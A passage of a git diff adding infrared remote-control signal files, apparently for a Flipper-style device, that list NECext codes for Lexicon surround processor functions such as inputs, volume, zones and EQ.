00 00 00 +# +name: MENU:_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1D 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1E 00 00 00 +# +name: MODE:_7/5_TOGGLE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1E 00 00 00 +# +name: 7/5_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1E 00 00 00 +# +name: EFFECT_BYPASS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1F 00 00 00 +# +name: MODE:_2-CH_TOGGLE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1F 00 00 00 +# +name: 2_CH_(LISTING_MODE) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 1F 00 00 00 +# +name: FX_DOLBY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 20 00 00 00 +# +name: MAIN:_INPUT_DVD_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 20 00 00 00 +# +name: DVD_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 20 00 00 00 +# +name: FX_THX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 21 00 00 00 +# +name: MAIN:_INPUT_DVD_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 21 00 00 00 +# +name: DVD_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 21 00 00 00 +# +name: FX_LOGIC_7 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 22 00 00 00 +# +name: MAIN:_INPUT_LD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 22 00 00 00 +# +name: FX_DTS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 23 00 00 00 +# +name: MAIN:_INPUT_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 23 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 23 00 00 00 +# +name: FX_2-CHANNEL +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 24 00 00 00 +# +name: MAIN:_INPUT_SAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 24 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 24 00 00 00 +# +name: FX_PARTY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 25 00 00 00 +# +name: MAIN:_INPUT_VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 25 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 25 00 00 00 +# +name: FX_TV_MATRIX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 26 00 00 00 +# +name: MAIN:_INPUT_CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 26 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 26 00 00 00 +# +name: FX_MUSIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 27 00 00 00 +# +name: MAIN:_INPUT_PVR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 27 00 00 00 +# +name: MAIN:_INPUT_GAME +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 28 00 00 00 +# +name: MAIN:_INPUT_TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 29 00 00 00 +# +name: MAIN:_INPUT_TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 2A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 2A 00 00 00 +# +name: MAIN:_INPUT_AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 2B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 2B 00 00 00 +# +name: R/Z-2_+_OSD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 42 00 00 00 +# +name: R/Z-2_+_FP_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 43 00 00 00 +# +name: ZONE:_VOLUME_TO_-30 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 43 00 00 00 +# +name: R/Z-2_+_FP_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 44 00 00 00 +# +name: ZONE:_VOLUME_TO_-15 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 44 00 00 00 +# +name: MENU_STATUS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 45 00 00 00 +# +name: Z-2_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 48 00 00 00 +# +name: ZONE:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 48 00 00 00 +# +name: ZONE:_BALANCE_CENTER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 49 00 00 00 +# +name: Z-2_BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4A 00 00 00 +# +name: ZONE:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4A 00 00 00 +# +name: R/Z-2_INPUT_TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4C 00 00 00 +# +name: R/Z-2_INPUT_TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4D 00 00 00 +# +name: R/Z-2_INPUT_CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4E 00 00 00 +# +name: R/Z-2_INPUT_AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 4F 00 00 00 +# +name: R/Z-2_INPUT_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 50 00 00 00 +# +name: R/Z-2_INPUT_V-DISC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 51 00 00 00 +# +name: R/Z-2_INPUT_DVD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 52 00 00 00 +# +name: R/Z-2_INPUT_VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 53 00 00 00 +# +name: Z-2_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 55 00 00 00 +# +name: ZONE:_VOL_FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 55 00 00 00 +# +name: Z-2_VOLUME_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 56 00 00 00 +# +name: ZONE:_VOLUME_-1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 56 00 00 00 +# +name: Z-2_VOLUME_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 57 00 00 00 +# +name: ZONE:_VOLUME_+1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 57 00 00 00 +# +name: Z-2_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 58 00 00 00 +# +name: Z-2_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 59 00 00 00 +# +name: MENU_LOCK_ON_LOCK +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 5A 00 00 00 +# +name: TRIGGER_1:_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 5A 00 00 00 +# +name: R/Z-2_+_FX_DOWN +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 5B 00 00 00 +# +name: TRIGGER_1:_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 5B 00 00 00 +# +name: ZONE:_STATUS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 5C 00 00 00 +# +name: Z-2_VOLUME_TO_-30DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 60 00 00 00 +# +name: ZONE:_INPUT_DVD_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 60 00 00 00 +# +name: Z-2_VOLUME_TO_-20DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 61 00 00 00 +# +name: ZONE:_INPUT_DVD_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 61 00 00 00 +# +name: Z-2_VOLUME_TO_-10DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 62 00 00 00 +# +name: ZONE:_INPUT_LD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 62 00 00 00 +# +name: Z-2_VOLUME_TO_+00DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 63 00 00 00 +# +name: ZONE:_INPUT_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 63 00 00 00 +# +name: VOLUME_TO_-30_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 64 00 00 00 +# +name: ZONE:_INPUT_SAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 64 00 00 00 +# +name: VOLUME_TO_-20_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 65 00 00 00 +# +name: ZONE:_INPUT_VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 65 00 00 00 +# +name: VOLUME_TO_-10_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 66 00 00 00 +# +name: ZONE:_INPUT_CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 66 00 00 00 +# +name: VOLUME_TO_+00_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 67 00 00 00 +# +name: ZONE:_INPUT_PVR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 67 00 00 00 +# +name: ZONE:_INPUT_GAME +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 68 00 00 00 +# +name: ZONE:_INPUT_TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 69 00 00 00 +# +name: ZONE:_INPUT_TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 6A 00 00 00 +# +name: ZONE:_INPUT_AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 6B 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 81 00 00 00 +# +name: MAIN:_BALANCE_FRONT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 81 00 00 00 +# +name: MENU_BACK_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 82 00 00 00 +# +name: MAIN:_EQ_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 82 00 00 00 +# +name: SHIFT_+_FP_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 83 00 00 00 +# +name: MAIN:_VOLUME_TO_-30 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 83 00 00 00 +# +name: +5DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 84 00 00 00 +# +name: SHIFT_+_FP_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 84 00 00 00 +# +name: MAIN:_VOLUME_TO_-15 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 84 00 00 00 +# +name: REMOTE_TRIGGER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 85 00 00 00 +# +name: MENU_BACK_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 85 00 00 00 +# +name: -5DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 86 00 00 00 +# +name: DEACTIVATE_ZONE_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 88 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 88 00 00 00 +# +name: MAIN:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 88 00 00 00 +# +name: MAIN:_BALANCE_CENTER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 89 00 00 00 +# +name: U_R_HERE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8A 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8A 00 00 00 +# +name: MAIN:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8A 00 00 00 +# +name: MODE_ADJ:_EX_ON/OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8B 00 00 00 +# +name: ACCY_+_TAPE_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8C 00 00 00 +# +name: EQ_LOUDNESS_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8C 00 00 00 +# +name: ACCY_+_TUNER_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8D 00 00 00 +# +name: EQ_TILT_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8D 00 00 00 +# +name: ACCY_+_CD_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8E 00 00 00 +# +name: EQ_TREBLE_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8E 00 00 00 +# +name: ACCY_+_AUX_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8F 00 00 00 +# +name: EQ_BASS_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 8F 00 00 00 +# +name: ACCY_+_TV_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 90 00 00 00 +# +name: EQ_LOUDNESS_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 90 00 00 00 +# +name: ACCY_+_V_DISC_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 91 00 00 00 +# +name: EQ_TILT_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 91 00 00 00 +# +name: ACCY_+_VCR2_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 92 00 00 00 +# +name: EQ_TREBLE_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 92 00 00 00 +# +name: ACCY_+_VCR1_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 93 00 00 00 +# +name: EQ_BASS_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 93 00 00 00 +# +name: ZONE_2_MODE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 94 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 95 00 00 00 +# +name: VOLUME_FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 95 00 00 00 +# +name: MAIN:_VOL_FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 95 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 96 00 00 00 +# +name: VOLUME_-5_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 96 00 00 00 +# +name: MAIN:_VOLUME_-3DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 96 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 97 00 00 00 +# +name: VOLUME_+5_DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 97 00 00 00 +# +name: MAIN:_VOLUME_+3DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 97 00 00 00 +# +name: OSD_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 98 00 00 00 +# +name: PGM_TRIGGER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 98 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 99 00 00 00 +# +name: PGM_TRIGGER_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 99 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9A 00 00 00 +# +name: BALANCE_CENTERED +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9A 00 00 00 +# +name: PWR:_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9B 00 00 00 +# +name: EQ_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9B 00 00 00 +# +name: PWR:_STANDBY +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9B 00 00 00 +# +name: MAIN:_STATUS_(INPUT) +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9C 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9D 00 00 00 +# +name: MAIN:_BALANCE_REAR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9D 00 00 00 +# +name: REMOTE_TRIGGER_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: 9E 00 00 00 +# +name: FX_NIGHTCLUB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A0 00 00 00 +# +name: MAIN:_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A0 00 00 00 +# +name: FX_CONCERT_HALL +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A1 00 00 00 +# +name: ZONE:_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A1 00 00 00 +# +name: FX_CHURCH +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A2 00 00 00 +# +name: REC:_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A2 00 00 00 +# +name: FX_CATHEDRAL +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A3 00 00 00 +# +name: MAIN:_EQ_LOUD_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A3 00 00 00 +# +name: INPUT_EXPANSION_PORT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A4 00 00 00 +# +name: MAIN:_EQ_LOUD_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A4 00 00 00 +# +name: FX_PANORAMA +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A5 00 00 00 +# +name: FX_MONO_LOGIC +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A6 00 00 00 +# +name: MAIN:_EQ_BASS_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A6 00 00 00 +# +name: FX_MUSIC_SURROUND +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A7 00 00 00 +# +name: MAIN:_EQ_TREBLE_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A7 00 00 00 +# +name: MAIN:_EQ_TILT_+ +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A8 00 00 00 +# +name: MAIN:_EQ_BASS_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: A9 00 00 00 +# +name: MAIN:_EQ_TREBLE_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: AA 00 00 00 +# +name: MAIN:_EQ_TILT_- +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: AB 00 00 00 +# +name: REC:_VOLUME_TO_-30 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: C3 00 00 00 +# +name: REC:_VOLUME_TO_-15 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: C4 00 00 00 +# +name: REC:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: C8 00 00 00 +# +name: REC:_BALANCE_CENTER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: C9 00 00 00 +# +name: REC:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: CA 00 00 00 +# +name: REC:_VOL_FULL_MUTE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: D5 00 00 00 +# +name: REC:_VOLUME_-1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: D6 00 00 00 +# +name: REC:_VOLUME_+1DB +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: D7 00 00 00 +# +name: TRIGGER_2:_ON +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: DA 00 00 00 +# +name: TRIGGER_2:_OFF +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: DB 00 00 00 +# +name: REC:_STATUS +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: DC 00 00 00 +# +name: REC:_INPUT_DVD_1 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E0 00 00 00 +# +name: REC:_INPUT_DVD_2 +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E1 00 00 00 +# +name: REC:_INPUT_LD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E2 00 00 00 +# +name: REC:_INPUT_TV +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E3 00 00 00 +# +name: REC:_INPUT_SAT +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E4 00 00 00 +# +name: REC:_INPUT_VCR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E5 00 00 00 +# +name: REC:_INPUT_CD +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E6 00 00 00 +# +name: REC:_INPUT_PVR +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E7 00 00 00 +# +name: REC:_INPUT_GAME +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E8 00 00 00 +# +name: REC:_INPUT_TAPE +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: E9 00 00 00 +# +name: REC:_INPUT_TUNER +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: EA 00 00 00 +# +name: REC:_INPUT_AUX +type: parsed +protocol: NECext +address: 82 0B 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir new file mode 100644 index 000000000..d2d10e069 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir @@ -0,0 +1,788 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU_UP_ARROW +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 01 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 01 00 00 00 +# +name: OSD_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 02 00 00 00 +# +name: FRONT_PANEL_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 03 00 00 00 +# +name: FP_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 03 00 00 00 +# +name: FRONT_PANEL_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 04 00 00 00 +# +name: FP_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 04 00 00 00 +# +name: OSD_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 05 00 00 00 +# +name: MENU_SELECT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 08 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 08 00 00 00 +# +name: MENU_DONE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0A 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0A 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0C 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0C 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0D 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0D 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0E 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 0F 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 10 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 10 00 00 00 +# +name: INPUT_V-DISC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 11 00 00 00 +# +name: V_DISC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 11 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 12 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 12 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 13 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 13 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 18 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 19 00 00 00 +# +name: FX_UP +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 1A 00 00 00 +# +name: FX_DOWN +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 1B 00 00 00 +# +name: MENU_DOWN_ARROW +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 1D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 1D 00 00 00 +# +name: FX_DOLBY +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 20 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 20 00 00 00 +# +name: FX_THX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 21 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 21 00 00 00 +# +name: FX_LOGIC_7 +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 22 00 00 00 +# +name: LOGIC_7 +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 22 00 00 00 +# +name: FX_DTS +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 23 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 23 00 00 00 +# +name: FX_2-CHANNEL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 24 00 00 00 +# +name: 2_CH +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 24 00 00 00 +# +name: FX_PARTY +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 25 00 00 00 +# +name: PARTY +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 25 00 00 00 +# +name: FX_TV_MATRIX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 26 00 00 00 +# +name: TV_MATRIX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 26 00 00 00 +# +name: FX_MUSIC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 27 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 27 00 00 00 +# +name: R/Z-2_+_OSD_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 42 00 00 00 +# +name: R/Z-2_+_FP_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 43 00 00 00 +# +name: R/Z-2_+_FP_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 44 00 00 00 +# +name: MENU_STATUS +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 45 00 00 00 +# +name: Z-2_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 48 00 00 00 +# +name: Z-2_BALANCE_LEFT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 4A 00 00 00 +# +name: R/Z-2_INPUT_TAPE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 4C 00 00 00 +# +name: R/Z-2_INPUT_TUNER +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 4D 00 00 00 +# +name: R/Z-2_INPUT_CD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 4E 00 00 00 +# +name: R/Z-2_INPUT_AUX +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 4F 00 00 00 +# +name: R/Z-2_INPUT_TV +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 50 00 00 00 +# +name: R/Z-2_INPUT_V-DISC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 51 00 00 00 +# +name: R/Z-2_INPUT_DVD +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 52 00 00 00 +# +name: R/Z-2_INPUT_VCR +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 53 00 00 00 +# +name: Z-2_MUTE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 55 00 00 00 +# +name: Z-2_VOLUME_- +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 56 00 00 00 +# +name: Z-2_VOLUME_+ +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 57 00 00 00 +# +name: Z-2_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 58 00 00 00 +# +name: Z-2_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 59 00 00 00 +# +name: MENU_LOCK_ON_LOCK +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 5A 00 00 00 +# +name: R/Z-2_+_FX_DOWN +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 5B 00 00 00 +# +name: Z-2_VOLUME_TO_-30DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 60 00 00 00 +# +name: Z-2_VOLUME_TO_-20DB +type: parsed 